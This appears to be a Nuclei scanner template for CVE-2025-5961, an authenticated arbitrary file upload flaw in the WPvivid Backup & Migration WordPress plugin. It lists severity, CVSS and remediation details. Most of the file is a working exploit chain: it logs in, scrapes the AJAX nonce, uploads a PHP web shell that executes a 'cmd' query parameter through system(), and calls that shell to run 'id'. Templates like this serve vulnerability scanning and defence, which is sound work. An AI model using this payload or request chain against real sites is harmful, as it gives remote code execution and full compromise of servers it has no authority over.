id: CVE-2025-5961

info:
  name: WordPress WPvivid Backup & Migration Plugin <= 0.9.116 - Authenticated Arbitrary File Upload
  author: pussycat0x
  severity: high
  description: |
    The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.
  impact: |
    An authenticated attacker can upload arbitrary files, including PHP files, which can lead to remote code execution, complete system compromise, and unauthorized access to sensitive data.
  remediation: |
    Update the WPvivid Backup & Migration plugin to a version that addresses this vulnerability or remove the plugin if no fix is available.
  reference:
    - https://github.com/Nxploited/CVE-2025-5961
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpvivid-backuprestore/migration-backup-staging-wpvivid-backup-migration-09116-authenticated-administrator-arbitrary-file-upload
  classification:
    epss-score: 0.06479
    epss-percentile: 0.92873
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-5961
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    publicwww--query: "/plugins/wpvivid-backuprestore/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,intrusive,wpvivid-backuprestore,authenticated,file-upload,backup,vuln

variables:
  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
  cmd: 'id'
  filename: "{{rand_text_alpha(12)}}"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=wpvivid-export-import HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=0b9e4b9be0f532af74af1582b95632f2

        --0b9e4b9be0f532af74af1582b95632f2
        Content-Disposition: form-data; name="action"

        wpvivid_upload_import_files
        --0b9e4b9be0f532af74af1582b95632f2
        Content-Disposition: form-data; name="_ajax_nonce"

        {{ajax_nonce}}
        --0b9e4b9be0f532af74af1582b95632f2
        Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.php"
        Content-Type: application/x-php

        {{payload}}
        --0b9e4b9be0f532af74af1582b95632f2
        Content-Disposition: form-data; name="name"

        {{filename}}.php
        --0b9e4b9be0f532af74af1582b95632f2--

      - |
        GET wp-content/wpvividbackups/ImportandExport/{{filename}}.php?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '{"result":"success"}'

      - type: regex
        part: body_4
        regex:
          - 'uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)'

    extractors:
      - type: regex
        part: body_2
        group: 1
        internal: true
        name: ajax_nonce
        regex:
          - '"ajax_nonce":"([a-f0-9]+)"'
# digest: 4b0a00483046022100d33964279e508d240a25e5f62edfbe0df5ace6e852bb3c88aabd85da8045fab502210091bbd30373504d95ea01a3339698c6b3bc5fbe65be7c7f5871facf5aef79c8e2:922c64590222798bb761d5b6d8e72950